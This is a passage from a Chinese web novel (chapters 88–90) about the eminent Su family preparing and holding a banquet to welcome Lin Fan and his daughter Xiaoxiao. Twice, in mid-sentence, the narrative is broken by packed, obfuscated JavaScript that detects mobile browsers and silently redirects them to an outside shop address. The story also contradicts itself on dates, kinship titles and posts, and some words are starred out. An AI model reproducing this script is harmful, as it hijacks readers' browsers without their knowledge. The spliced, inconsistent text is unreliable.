“这树是你姥爷1967年跟我结婚时种的,那时候香山苗圃离这儿有二十多里地,现在开车半小时就到,当时没有公交车,你姥爷骑自行车去的,来回骑了四个小时。” 秦淑慧摸了摸树干,树皮粗糙却温暖,“他早上五点就出发了,带了两个馒头当早饭,到了苗圃挑了最粗的一棵, 树苗有一米多高,他怕路上颠坏了,还用麻绳把树苗绑在自行车后座,垫了厚厚的棉布,回来时都快中午了,汗把衣服都湿透了。” 笑笑伸出小手,抱着树干,指尖能摸到树皮的纹路: “姥姥,这树会开花吗?” “会呀,每年四月开花,能开两周,满院子都是香味,邻居家的王奶奶还会来摘几朵泡茶,说‘苏家用玉兰泡的茶最香’。” 秦淑慧想起以前的春天, “你妈妈小时候,每到开花季就会捡花瓣,夹在书里当书签,现在她的旧书里还留着几片,都变成干花了,颜色也变成浅黄的了。” 两人沿着青石板路慢慢走,走到老井边,井栏是青石雕的,被几代人的手摸得光滑,上面还留着太姥爷当年绑水桶的绳印。 秦淑慧指着井里的水面: “你看,井水里能看见夕阳的影子,像把金子撒在水里。夏天的时候,咱们还会把西瓜放在井里冰着,两小时就能冰透,比冰箱还好吃,你姥爷总说‘井冰的西瓜有井水的甜味’。” 笑笑趴在井栏边,探头往里看,水面映出她的小脸蛋,还有头顶的槐树枝。“姥姥,太姥爷挖这口井的时候累吗?” “累呀,当时没有机器,全靠人工挖,你太姥爷跟邻居张大爷一起挖了半个月,每天挖完都浑身是土,手上磨出了水泡。” 秦淑慧眼里带着怀念, “不过挖出水的那天,全胡同的人都来喝井水,说‘苏家的井水质好’,你太姥爷还笑说‘这井能供咱们胡同喝一辈子’。” 夕阳慢慢沉下去,槐树上的叶子被染成金黄色,风一吹,叶子沙沙响,像在说悄悄话。 秦淑慧牵着笑笑的手,往正房走,笑笑的小皮鞋踩在青石板上,发出“哒哒”的声音,跟远处胡同里的自行车铃声、邻居的说话声混在一起,成了四合院最温柔的傍晚。 “姥姥,明天我还能跟麻雀玩吗?还能喝井水泡的茶吗?” 笑笑仰着头问,眼里满是期待。 秦淑慧笑着点头,把她的手攥得更紧了: “能呀,咱们的四合院会一直在这儿, 麻雀会来,树会开花,井水会一直甜,姥姥也会一直陪着你。” 第88章:苏家家宴 一场承载家族认同与温情的接纳仪式 在京城世家圈层中,苏家的分量早已超越“显赫”二字—— 从曾任职七大**的苏定方,到现任北部战区副司令员、中将军衔的苏振邦,再到覆盖军政商医四大领域的后辈群体, 这个家族的每一代都以“守正传家”为核心,在各自领域留下扎实印记。 苏定方任内主导过三次重大民生政策修订,惠及千万基层群众;苏振邦曾牵头完成边境联合防御演习,推动区域军事协作机制落地。 而苏瑾瑜计划筹办的这场家宴,绝非普通亲友聚餐,而是一场为林凡与笑笑量身打造的“核心圈准入仪式”: 它要让这对从南方小城远道而来的亲人,不仅获得苏家成员的身份认可,更能深度融入家族的情感联结与资源网络,真正成为“苏家根系”的一部分。 这种以家宴为载体的接纳方式,在注重根系与归属的大家族文化中,有着不可替代的象征意义。 回溯中国世家文化史,明清时期江南望族的“认亲宴”便有类似传统—— 需在家族祠堂举办,由族长主持,族人全员到场,通过“敬祖酒”“述家史”等流程完成新成员的身份绑定。 苏家虽不恪守古礼,却延续了这种“以仪式托温情”的内核。 苏瑾瑜的提议刚在家族小群里发出,秦淑慧便立刻接话,手机屏幕映着她眼底藏不住的期待。 这位从**总**部文职岗位退休的老人,平日里最疼惜晚辈,尤其记挂外孙女苏晚晴的孩子笑笑—— 上次视频时,笑笑奶声奶气说“姥姥做的鱼比幼儿园阿姨的香”,这句话她翻来覆去跟家里保姆念叨了半个月。 “早该如此!” 秦淑慧一边说着,一边快步走到客厅角落的固定电话旁—— 她不习惯用智能手机拨工作电话,总说“按键声听得清楚,跟厨房沟通不跑偏”。 电话接通后,她的语气瞬间多了几分细致: “张师傅,这次菜单可得上点心,晚晴的孩子笑笑要来,才四岁多,脾胃嫩得很。 她爱吃清淡的,就做南海野生清蒸石斑鱼,我让人早上从海鲜市场的**渠道订,保证新鲜,刺少还滋补; 儿童餐具别用之前那套陶瓷的,她现在正是爱摔东西的年纪,换成竹制的,我记得储藏室里有套浙江非遗竹编工艺的,你找出来消毒; 对了,你跟晚晴通个电话,问问笑笑有没有忌口的蔬菜,上次视频我好像听见她不爱吃青椒,别放。 还有,准备点小米粥,熬得稠点,孩子万一吃不惯硬菜,能垫垫肚子。” 挂了电话,她又转身去储物间翻找儿童围嘴,嘴里还念叨着“得找个带小熊图案的,孩子喜欢”。 安顿好厨房的事,苏瑾瑜转身走向苏老太爷的书房。 这座四合院的书房是苏家的“精神中枢”,屋顶的梁木是当年苏定方搬进来时特意从皖南老宅运来的金丝楠木,历经四十余年仍散发着淡淡的木质香气。 此时的苏定方正坐在梨花木书桌后,手里握着那把用了二十三年的紫砂壶—— 壶身是宜兴原矿紫泥,刻着的“守正”二字出自书法大家启功之手,是他2002年卸任时,时任**副总理的老同事亲自赠送的, 壶底还刻着两人的名字缩写,见证着一段跨越decades的挚友情谊。 老人面前摊开一本泛黄的牛皮纸相册,扉页贴着苏晚晴三岁时的照片: 小姑娘扎着两个羊角辫,手里举着一串裹着糖霜的糖葫芦,站在四合院的石榴树下,旁边是刚晋升为某集团军参谋长的苏振邦,穿着笔挺的军装,正弯腰给女儿整理衣领。 听到苏瑾瑜“筹办家宴接纳林凡父女”的来意,苏定方翻相册的指尖顿了顿,指腹轻轻摩挲着照片里的石榴树—— 那棵树现在还在院子里,每年夏天都结满红灯笼似的果子。他目光在照片上停留了足足五秒,才缓缓抬起头,声音带着岁月沉淀的厚重,只吐出两个字:“妥当。” 这两个字,分量远超千言万语。 熟悉苏定方的人都知道,这位历经三届领导班子、见证过无数重大决策的前最高领导层**,向来不轻易表态。 当年苏振邦申请去边境军区任职,他思考了三天才点头;苏瑾华竞选华北军区副司令时,他也只说了句“守住底线”。 但凡他开口说“妥当”,便是经过通盘考量的最终决定。 对他而言,这场家宴不仅是接纳林凡与笑笑,更是对苏晚晴“在外漂泊多年”的情感补偿,是苏家“重视亲情、不分远近”家风的延续。 苏瑾瑜心里清楚,有了老爷子这句话,这场家宴才算真正有了“定海神针”,也让他后续协调长辈行程时更有底气。 得了准信,苏瑾瑜立刻开始统筹筹备。他握着最新款的摩托罗拉手机站在四合院的露台,机身是18K玫瑰金材质,背面刻着苏家的族徽—— 一朵融合了松枝与牡丹的图案。 晚风里飘着花圃中晚香玉的清甜香气,这是秦淑慧去年特意让人从云南引种的,说“家里有孩子,得闻点干净的香味,比香水健康”。 此刻的苏瑾瑜,没了半分在商界谈判时的冷静锐利——上周他还在上海陆家嘴与外资投行博弈,用三小时敲定数十亿的合作项目—— 如今倒像个急于分享宝贝的孩子,手指在通讯录里快速滑动,挨个给长辈们打电话。 第一个打给的是华北军区副司令苏瑾华。 电话接通时,背景里隐约传来“各部队注意,按预定方案推进”的演习指令,苏瑾华正在冀北草原组织“利剑-2024”跨区域联合演习,这场演习涉及陆军、空军两个军种, 共8000余名官兵、200余台装备,光是协调参演部队的调度、后勤保障,他就已经连轴转了三天,平均每天只睡四个小时。 苏瑾瑜不等大哥开口,语气里满是“不容拒绝”的热情: “大哥,你这次说什么都得回!笑笑那小丫头一笑俩酒窝,跟晚晴小时候简直一个模子刻出来的,上次还拽着手问‘大舅什么时候能陪我玩打仗游戏’,还说要当你的‘小通讯员’。 演**结你让李副司令先顶一下,他跟着你十五年了,从连长到副司令一路跟过来,上次你去北京开会,就是他把演习收尾工作做得妥妥当当; 家里厨房还留了你爱吃的酱肘子,张师傅特意按你喜欢的咸香口做的,用的是河北散养黑猪肉,炖了四个小时,凉了就没那股子香劲了。” 电话那头的苏瑾华笑了笑,听着小弟的“软磨硬泡”,原本紧绷的神经瞬间放松—— 他向来疼孩子,当即应下:“行,我让秘书订下午两点的军用专机,保证赶得上晚上七点的开席。” 接着打给燕京****苏瑾国。彼时苏瑾国正在市政府第一会议室主持“2024年北京城市副中心发展规划专题会”,桌上的议程表排得满满当当, 从交通枢纽建设到产业园区招商,再到民生配套落地,每一项都关系着百万市民的生活。 他面前的保温杯里泡着的菊花茶已经凉了,却连喝一口的时间都没有。 苏瑾瑜特意算着会议间隙——他从苏瑾国的秘书那里得知,下午三点有十分钟的茶歇——才打过去,语气里带着点“小机灵”: “二哥,晚宴就定在老爷子这儿,你跟二嫂可别迟到。笑笑前几天还跟我说,‘二舅舅可以讲大老虎故事吗?’,就是我跟她讲的‘小松鼠团结起来赶跑偷粮食的老虎’,她还等着听新的呢 我跟她保证了,这次是‘小兔子保护森林’的故事,绝对不是你工作上的事,你放心。 会议要是调不开,就跟办公室说把下午的‘产业招商对接会’提前到上午,反正那些企业家都是咱们北京的常客,提前半天大家都能理解。 家庭团圆才是大事,工作哪有忙完的时候,你总说‘家风是根’,可不能让孩子等急了。” 苏瑾国揉了揉眉心,想起上次视频时笑笑奶声奶气喊“二舅舅”的模样,心里一软—— 他平时忙得连陪自己儿女的时间都少,更别说外孙女了。立刻让秘书调整行程:“你跟办公室说,把下午的会议压缩到上午,四点前结束,我六点前肯定到老宅。” 第三个电话打给了中央**部副部长苏振英。 她刚结束一场“各****中央调研成果座谈会”,送走了民革、民盟、民进等六个****的代表,正坐在办公室里整理会议纪要—— 这些纪要将作为后续政策制定的参考,容不得半点马虎。苏瑾瑜知道**工作千头万绪:既要协调各党派关系,推动参政议政; 又要关注民族、宗教事务,去年她还牵头解决了新疆某地区的宗教场所修缮问题,获得了当地群众的好评。他特意放软了语气,带着点撒娇的意味: “大姑,我知道您忙,昨天看新闻还说您去了内蒙古,调研草原生态保护与蒙古族特色产业融合的事,肯定累坏了。 但这事关晚晴的孩子,是咱们苏家的大事,您抽空回来看看呗?笑笑还等着您给她讲‘各民族小朋友一起做风筝’的故事呢, 家里已经给您备好了武夷岩茶,是去年的正岩大红袍,我托人从武夷山天心永乐禅寺那边拿的,您喝了能解乏,回来歇两天再忙也不迟,您总说‘家人是后盾’,可不能让后盾凉了呀。” 苏振英被外甥的话逗笑,她向来重视家族团聚,上次家族聚会因为出差错过,还遗憾了好几天。 当即答应:“我推掉明天去山西的非必须座谈,订最早的高铁票——早上七点那趟,十点就能到北京,正好也陪老爷子说说话,他上次还跟我念叨想喝我泡的茶。” 最后一个电话打给上海同济医院副院长、心脏外科主任医师苏静婉。 她刚在手术室里待了四个小时,完成一例“主动脉弓置换+冠状动脉搭桥”的高难度手术—— 这类手术的成功率在国内顶尖医院也只有85%左右,而苏静婉团队的成功率高达98%,去年还因此获得了“国家临床重点专科建设项目”表彰。 走出手术室时,她白大褂的后背都被汗水浸湿了,护士递过来的温水她只喝了两口,就开始查看下一台手术的病历。 苏瑾瑜知道小姑奶奶是出了名的“工作狂”,去年因为连续做三台手术,直接累得在办公室晕倒,所以这次生怕她因为手术耽误行程,语气里多了几分体贴: “小姑,姐(苏晚晴)那边的情况我都问过主治医生张教授了——就是协和医学院的博导张利民,你也认识的—— 他说姐的各项指标都稳定,恢复速度比预期快15%,再过半个月就能出院了,你不用总惦记着。 笑笑这几天总念叨‘上海的小姑奶奶什么时候来呀’,还画了幅画,上面有个穿白大褂的阿姨,说要送给你。 你也别总绷着,手术再重要,也得劳逸结合—— 我已经让家里的保健医生李大夫准备了安神的百合莲子汤,用的是兰州的甜百合,你回来就能喝,温温的正好养胃。 医院那边我也跟你的代班医生王主任打了招呼,他说你负责的几个术后病人都很稳定,有急事他会先处理,你放心回来。” 苏静婉靠在走廊的墙上,听着外甥的关心,心里一暖—— 她平时对自己要求严,却最疼晚辈。当即点头:“好,我安排好明天的一台常规手术,订傍晚五点的高铁票回北京,陪孩子待两天,也跟家里人聚聚。” 苏家的凝聚力与执行力,在这一刻展现得淋漓尽致。 纵使各位长辈身居要职,日程以分钟为单位排得满满当当,但“家人”二字始终是他们心底最软的牵挂—— 苏瑾华推掉了关乎演习成果总结的重要会议,动用军用专机资源赶回北京,只为陪孩子玩一场“打仗游戏”; 苏瑾国调整了涉及城市发展的核心规划会议,压缩行程提前半天结束工作,就为了给孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711856|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲一个寓言故事; 苏振英取消了既定的民族工作调研,推掉与****代表的座谈,只为兑现对孩子的“讲故事承诺”; 苏静婉在连台高难度手术后,仍挤出时间协调医院工作,赶高铁回家,就为了收下孩子的一幅画。 从苏瑾瑜上午十点开始打电话,到下午三点苏静婉确认行程,不到五个小时,所有核心长辈都协调好了时间,一口应下会准时到场。 这背后,不仅是家族成员间的情感向心力,更隐约折射出这个家族处理复杂事务的高效与能量—— 他们能在“公”与“私”之间找到精准的平衡,既不耽误本职工作,又能优先满足亲情需求; 也能在短时间内调动资源,从军用专机到高铁票务,从医院工**调到会议调整,只为一场关乎亲情的家宴。 家宴最终定在周末晚上七点,地点选在苏家老宅的东厢宴会厅。 这座宴会厅不像外界想象中那般鎏金错彩、奢华逼人,反而更像一个被时光打磨得温润如玉的“家族记忆馆”,每一处细节都藏着苏家的过往与温度,每一件物品都承载着家族的故事。 厅中央摆着一张直径1.8米的海南黄花梨木圆桌,桌面泛着细腻的包浆—— 这张桌子是苏定方1980年搬入四合院时,从北京紫檀博物馆的前身“古典家具作坊”购置的,陪伴苏家走过了四十四年。 四十多年里,它见证了苏振邦的晋升宴、苏晚晴的成人礼、苏瑾华的婚礼,甚至在2003年非典时期,还成为家族视频会议的“临时**台”。 如今,这张桌子的市场估价已超1200万元,但苏家从未想过出售,反而每年都会请专业的木艺师傅来保养,确保它能继续陪伴家族走下去。 桌子周围配着八把紫檀木椅,每一把椅背上都雕刻着不同的吉祥纹样:牡丹象征“富贵不骄”,莲花代表“清廉自守”,松鹤寓意“长寿安康”,梅花彰显“坚韧不拔”。 这些椅子出自苏派木雕大师徐秉言之手,每把都耗费了三个月的工时,堪称木雕艺术品。 更特别的是,椅子的坐板弧度经过人体工学设计,坐上去能自然让人挺直腰背,暗含着苏家“行得正、坐得端”的家风—— 苏定方常说“坐有坐相,站有站相,做人才能有规矩”。 墙上挂着一幅吴冠中早年创作的水墨画《家园》,是苏定方在1985年苏晚晴出生那年,特意在香港苏富比拍卖会上以80万元竞得的。 这幅画是吴冠中“江南系列”的代表作之一,画中描绘的是江苏宜兴的一处庭院——那是苏定方的故乡。 白墙黛瓦间围着一棵枝繁叶茂的老槐树,树下有三个孩童在追逐嬉戏,手里拿着纸鸢;屋内有两位老人坐在藤椅上喝茶,眼神里满是安详。 整幅画笔意苍劲中藏着“阖家安康”的祈愿,吴冠中还在画的右下角题了“守家守心”四个字。 如今,这幅画的市场估价早已突破1.5亿元,曾有海外收藏家开出2亿元的高价,苏家却从未动摇—— 苏定方说“这画是给晚晴的,是给苏家后代的,多少钱都不卖”,只把它当作家族精神的象征,每年苏晚晴生日,都会特意来这里看一眼。 宴会厅的角落里,放着一台某国际顶级品牌的空气净化器,显示屏上的PM2.5指数稳定在8,远低于国家标准的35。 这是秦淑慧半个月前特意嘱咐管家购置的,她说“孩子的呼吸道嫩,北京的秋天偶尔有雾霾,得让她呼吸最干净的空气”。 为了选这台净化器,她还特意让秘书查了第三方检测报告,确认它的净化效率能达到每小时换气6次,适合宴会厅这样的大空间。 桌上没有摆放华丽的鲜花——秦淑慧说“鲜花容易过敏,孩子小别冒险”,只在每个座位前放了一小束新鲜的晚香玉,是苏瑾瑜当天下午从露台的花圃里亲手摘的。 他特意选了花苞刚绽放的,这样香气能持续到晚宴结束,清甜的香气弥漫在空气中,不浓烈却让人安心。 笑笑的座位被安排在苏定方和秦淑慧中间,这个位置是苏定方亲自指定的—— 他说“孩子得在长辈身边,才踏实”。 座位旁边还放着一个毛绒小熊玩偶,是苏瑾瑜上个月去瑞士出差时特意买回来的,来自当地知名的手工品牌,填充物是可水洗的有机棉,怕孩子坐不住时能有个伴。 玩偶的旁边,还放着一个定制的儿童餐具套装,上面印着笑笑的名字,是秦淑慧找北京的非遗传承人手工烧制的。 整个空间没有一丝刻意的奢华,却处处透着低调而深厚的底蕴: 昂贵的海南黄花梨圆桌承载着四十多年的家族记忆,每一道包浆都是时光的痕迹; 价值亿元的吴冠中画作传递着“守家守心”的家风,每一笔都藏着对家族的期许; 细微的空气净化器、定制餐具、毛绒玩偶,满含着对晚辈的疼爱,每一件都透着“以孩子为中心”的细心。 这场家宴,从筹备时长辈们推掉重要事务的响应,到场地布置中每一个细节的考量,都在诉说着一个道理: 苏家的“正式接纳”,从来不是靠身份与地位的彰显——不是靠苏定方的前**身份,不是靠苏瑾华的将军军衔,不是靠苏瑾国的****职位—— 而是靠亲情的温度与家风的传承:是秦淑慧为孩子选餐具时的细心,是苏定方说“妥当”时的信任,是苏瑾华推掉会议赶回来的坚持,是苏静婉连台手术后仍赶回家的牵挂。 这种以亲情为核心、以家风为纽带的凝聚力,才是一个大家族真正的核心力量—— 它比财富更持久,比地位更珍贵,能让分散在各个领域、忙碌于不同事务的家族成员,在需要时立刻凝聚在一起,只为一场充满温情的家宴,只为一次真诚的接纳。 而林凡与笑笑,在这场家宴中感受到的,不仅是苏家的认可,更是一个大家族对“亲情”二字最深刻的践行。 第89章:一堂门风与温情的家族课 苏家老宅夜宴 华灯初上时,北京东城区那座有着百年历史的灰瓦青砖四合院里,终于打破了往日的静谧; 檐角的宫灯次第亮起,暖黄的光透过雕花窗棂洒在抄手游廊的青石板上,廊下那株三人合抱的海棠树, 还是苏老太爷苏定方年轻时亲手栽种,如今枝繁叶茂,正静静见证着这场难得的家族团聚。 作为曾任职国家七大**的退休老干部,苏宅向来低调肃穆,唯有逢年过节或晚辈归家时,才会透出这般烟火气。 大舅苏瑾华 铁血将军的柔软瞬间 最先踏入垂花门的是大舅苏瑾华。 他刚结束华北军区的季度战备演习,身上那套07式陆军中将礼服还带着未散的利落劲; 笔挺的藏青色面料上,金穗饰带从肩章斜跨至口袋,肩章上两颗金色松枝星徽在灯光下熠熠生辉,那是**中将的标志性标识。 作为华北军区副司令,他常年驻守北疆,参与过三次边境维稳任务和十余次重大军事演习,眉宇间自带的凌厉,是硝烟与责任沉淀的底色。 可当姥姥秦淑慧抱着穿定制红色苏绣小旗袍的笑笑走过来时,那抹凌厉竟像被温水化开般荡然无存。 笑笑的旗袍是秦淑慧托苏州非遗传承人绣的,领口和袖口的缠枝莲纹针脚细密,胸前的盘扣更是用直径8毫米的天然淡水珍珠手工串制,衬得孩子像个粉雕玉琢的年娃娃。 苏瑾华俯下身,声音放得比平时下达作战命令轻了十倍: “这就是笑笑?” 见孩子怯生生地盯着他肩章上的星徽,他又忍不住伸出右手—— 那只握过95式自动**、操作过坦克操控杆的手,指节上还留着常年**磨出的厚茧,此刻却极轻地碰了碰笑笑的小脸蛋。 粗糙的指尖与孩子柔嫩的皮肤形成鲜明对比,逗得笑笑“咯咯”笑出了声。 这位曾统率过万余名官兵、在演训场上说一不二的将军,此刻眼神柔软得如同晒过太阳的棉被,连呼吸都放轻了几分。 大舅妈李芸: 文工团出身的细腻心意 大舅妈李芸跟在苏瑾华身后,一身香奈儿经典粗花呢套装衬得她气质温婉。 作为早年文工团的舞蹈演员,她即便退役多年,身姿依旧挺拔,举手投足间带着艺术从业者特有的细腻。 她手里拎着一个巴掌大的紫檀木礼盒,盒盖边缘雕着缠枝莲纹,打开时还能闻到淡淡的木质香气。 “这是我托苏州刺绣研究所的顾文霞大师定制的舞蹈服,”李芸笑着把礼盒递到秦淑慧手里,语气里满是对孩子的期待, “用的是库尔勒长绒棉和真丝混纺的面料,透气又亲肤,小孩子跳起舞来不会闷汗。顾大师还特意在裙摆绣了小天鹅,等笑笑再长到1米2,就能穿着跳《天鹅湖》的片段了。” 说着,她轻轻捏了捏笑笑的小手,指尖触到孩子软乎乎的掌心,忍不住笑道: “瞧这小手,嫩得跟刚点的豆腐似的,以后肯定是个跳舞蹈的好料子。” 顾文霞大师是国家级非物质文化遗产苏绣项目的代表性传承人,她的作品曾作为国礼赠送给外国元首,能请到她为孩子定制舞蹈服,既是李芸的心意,也藏着苏家对传统文化的珍视。 政者沉稳与学者温情 紧接着走进来的是二舅苏瑾国与二舅妈周婉茹。 苏瑾国刚结束燕京市的****会,身上那套GioArmani深灰色西装还是去年赴意大利考察时定制的—— 剪裁贴合却不张扬,袖口的纽扣是低调的黑玛瑙材质,完全符合他作为燕京****的身份定位。 他鼻梁上戴着的溥仪眼镜,是品牌为政务人士专属设计的款式,镜腿内侧还刻着他的名字缩写,既舒适又能避免镜头前的反光。 苏瑾国没有立刻说话,而是先仔细端详着笑笑的面容轮廓—— 孩子眉眼间像极了妹妹晚晴(笑笑母亲),带着苏家特有的沉静。 他沉默片刻,缓缓朝林凡点了点头。 在官场文化里,这种不附带言语的表态,往往比口头认可更有分量——意味着这位主政一方的“封疆大吏”,已从心底接纳了林凡这个妹夫,也认可了他对家庭的责任。 周婉茹则熟稔地从秦淑慧怀里接过笑笑,左手拎着的爱马仕Birkin包是低调的黑色皮质,与她北大中文系教授的身份相得益彰。 她从包里掏出一块包装精美的巧克力,金色的糖纸上印着“VALRHONA”的字样—— 这是法国百年巧克力品牌,专供米其林三星餐厅,单块售价就超过50元。 “笑笑还记得二舅妈吗?”周婉茹的声音温柔得像讲睡前故事,“今天二舅妈给你带了最好吃的糖,不过要等吃完饭才能吃,一次只能吃半块哦。” 作为研究儿童文学的学者,她既懂孩子的喜好,也不忘悄悄传递“节制”的教育理念。 **视野里的成长期许 大姑奶奶苏振英是独自来的。 她刚从**部的海外联谊会议上赶来,身上那套MaxMara深色套装是典型的政务着装,利落的短发用发胶轻轻固定,没有一丝凌乱。 作为**部的中层干部,她常年对接港澳台及海外侨胞事务,见过太多不同文化背景的人,目光里自带一种审视细节的敏锐与审慎—— 哪怕是走进自家老宅,也习惯性地先扫过客厅的陈设,确认一切妥帖。 苏振英话不多,却特意把一个厚厚的礼盒递到笑笑手里。 礼盒上印着大英博物馆的标志,打开后是一套限量版的《大英博物馆儿童百科全书》—— 全书共12册,收录了300多件文物的独家高清图片,还有考古学家撰写的通俗解读,全球仅发行5000套。“知识是翅膀。” 苏振英蹲下身,声音比工作时柔和了许多, “这里面有埃及的金字塔、中国的兵马俑,还有美洲的玛雅文明,让爸爸每天给你讲一个故事,慢慢认识世界的样子。” 这份礼物藏着她的深意—— 作为常年与“多元文化”打交道的人,她比谁都清楚“视野”对孩子的重要性,也希望苏家的下一代能跳出“**家庭”的局限,用更包容的眼光看待世界。 医者严谨里的双重牵挂 最后赶到的是小姑奶奶苏静婉。 她刚结束上海同济医院的一台心脏搭桥手术,从虹桥机场直奔老宅—— 手里还拖着银色的Rimowa行李箱,拉杆上还挂着医院的工作牌,上面写着“心血管内科副院长苏静婉”。 她连行李箱都没来得及放,就直奔客厅,看见笑笑的第一反应,是先从包里掏出免洗消毒凝胶,双手搓出泡沫后才轻轻抱了抱孩子。 “笑笑又长高了2公分。” 苏静婉的声音里既有医生的严谨,也有姑奶奶的疼爱, “我上周看你妈妈发的家庭群,家用身高尺记录你是98公分,今天一看,至少有100公分了。” 她又摸了摸笑笑的额头,“这几天的睡眠监测数据我也看了,深睡眠比例达到45%,比上个月提高了10%,要继续保持晚上8点半睡觉的习惯哦。 对了,食欲怎么样?每天的鸡蛋和牛奶有没有按时吃?蛋白质摄入够不够,可是影响长个子的关键。” 嘱咐完笑笑,苏静婉又转头看向林凡,刻意压低了声音,用专业术语快速汇报: “晚晴(笑笑母亲)那边的淋巴细胞亚群分析结果比上周好转了20%,CD4+T细胞数量从350个/μL升到了420个/μL,已经接近正常范围。 昨天做的心脏彩超显示,EF值稳定在65%(正常成年人EF值为50%-70%),心功能恢复得不错。 再过两周如果指标继续稳定,可以尝试短暂视频通话,每次控制在5分钟以内,避免情绪激动即可。” 作为同济医院心血管内科的专家,她即便在家庭聚会中,也没忘用精准的数据传递家人的健康情况,严谨得让人安心。 此刻的苏家老宅,宫灯的光映着每个人的笑脸,笑笑手里攥着大英博物馆的书,怀里抱着苏瑾华送的小玩偶,客厅里既有茶的清香,也有巧克力的甜腻。 往日里因“**身份”自带的距离感,在孩子的笑声里荡然无存——原来再显赫的家族,最珍贵的也不过是这份“有人疼、有人盼”的温情。 正当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711857|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客厅里满是笑语时,廊下传来一阵沉稳的脚步声,伴随着秦淑慧轻声的提醒: “老太爷来了。” 众人瞬间安静下来,纷纷起身相迎—— 苏定方由苏振邦搀扶着,缓缓走进客厅。 这位86岁的退休**,虽已两鬓染霜,却依旧精神矍铄,身上穿的深灰色中山装是早年定制的款式,领口平整无褶皱, 左手握着一根紫檀木拐杖,杖身刻着“守正”二字,那是他当年从政时的座右铭。 他目光缓缓扫过众人,最后落在秦淑慧怀里的笑笑身上,原本略带威严的眼神瞬间柔和下来。 苏振邦连忙上前一步,轻声道: “爸,这是笑笑,林凡和晚晴的孩子。” 苏定方点点头,示意秦淑慧把孩子抱近些,他没有立刻伸手,而是先轻轻拍了拍拐杖头,像是在调整呼吸,随后才用布满皱纹却依旧有力的手,轻轻摸了摸笑笑的头顶—— 那双手,曾在无数重要文件上签下名字,曾为国家发展蓝图出谋划策,此刻却温柔得怕惊扰了怀中的小人儿。 “好孩子,长的真精神。” 苏定方的声音不高,却带着岁月沉淀的厚重感,他转头对身后的保姆说: “把我准备的东西拿来。” 保姆递来一个古朴的红木盒子,打开后,里面是一把小巧的银质长命锁,锁身上刻着“忠、孝、廉、勤”四个字,边缘还錾着缠枝莲纹。 “这是我让老银匠打的,”苏定方看着笑笑,语气里满是期许,“咱们苏家,从你太爷爷那辈起,就守着这四个字。 ‘忠’是对国家尽责,‘孝’是对长辈尽心,‘廉’是做人清白,‘勤’是做事踏实。等你长大了,要记得这四个字,做个堂堂正正的人。” 说完,他抬头看向一众晚辈,眼神重新变得严肃起来,却又不失温情。 先是看向大孙子苏瑾华:“瑾华,军区的事我知道你忙,但记住,手握兵权,要常想肩上的责任,不能辜负国家和士兵的信任。 练兵要严,待兵要亲,别让底下人觉得你是‘官’,要让他们觉得你是‘领头人’。”苏瑾华挺直身子,郑重点头:“爷爷,我记着您的话,绝不松懈。” 接着,他的目光落在二孙子苏瑾国身上:“瑾国,你在燕京当**,管着一方百姓的生计。记住,权力是人民给的,不能用来谋私。 遇到民生问题,多往基层跑,别坐在办公室里听汇报。老百姓的事,再小也是大事。”苏瑾国推了推眼镜,语气坚定:“老爷子,我明白,为民服务是本分,我不会忘。” 随后,他看向还没来得及开口的小孙子苏瑾瑜:“瑾瑜,你年纪最轻,管着苏家集团。商界复杂,但咱们苏家做生意,得守规矩、讲良心。 不能为了赚钱丢了底线,要多做些对社会有意义的事,比如帮扶贫困地区,支持实体经济。记住,财富是责任,不是炫耀的资本。” 苏瑾瑜放下手中的茶杯,认真回应:“爷爷,我记着您的叮嘱,一定把苏家集团管好,守住商德。” 最后,他看向大姑奶奶苏振英和小姑奶奶苏静婉:“振英,**部的工作要讲耐心,多听不同的声音,团结能团结的力量,为国家凝聚人心。 静婉,你是医生,救死扶伤是天职,对待病人要用心,不管是大人物还是普通人,都要一视同仁。”苏振英和苏静婉齐声应道:“爸,我们知道了。” 苏定方看着眼前的晚辈们,满意地点了点头,他举起拐杖,轻轻敲了敲地面: “好了,一家人聚在一起不容易,别总站着。 都坐吧,吃饭的时候,再听听笑笑讲讲幼儿园的事。” 说完,他又看向笑笑,嘴角扬起一抹难得的笑容:“笑笑,以后常来老宅,太爷爷给你讲过去的故事。” 笑笑似懂非懂地点点头,伸手抓住了苏定方的拐杖头,惹得众人都笑了起来。 此刻,檐角的宫灯更亮了,海棠树的影子落在地上,伴着客厅里的欢声笑语,构成了一幅满是温情与传承的家族画卷。 苏老太爷的话语,像一颗种子,落在了每个晚辈的心里,也落在了笑笑的童年里,无声地传承着苏家的门风与担当。 第90章:林凡,欢迎回家 1994年4月中旬的北京,春寒尚未完全褪去。 胡同里的国槐刚抽出指甲盖大小的嫩黄新芽,风掠过灰瓦时还带着几分凉意,但位于东四头条的苏家四合院,青砖缝隙里已飘出勾人的饭菜香—— 这是苏家每季度一次的家族家宴,既是亲人团聚的契机,更是这个扎根北京数十年的世家,在时代浪潮中梳理秩序、传递认可的隐秘场域。 当正厅那盏1960年代产的水晶吊灯被点亮时,直径两米的红木圆桌已按老北京世家的“尊卑长幼”规矩排定座次。 这张圆桌是苏老太爷苏定方1978年从荣宝斋定制的,桌面采用东南亚进口的小叶紫檀,桌腿雕刻着“松鹤延年”纹样, 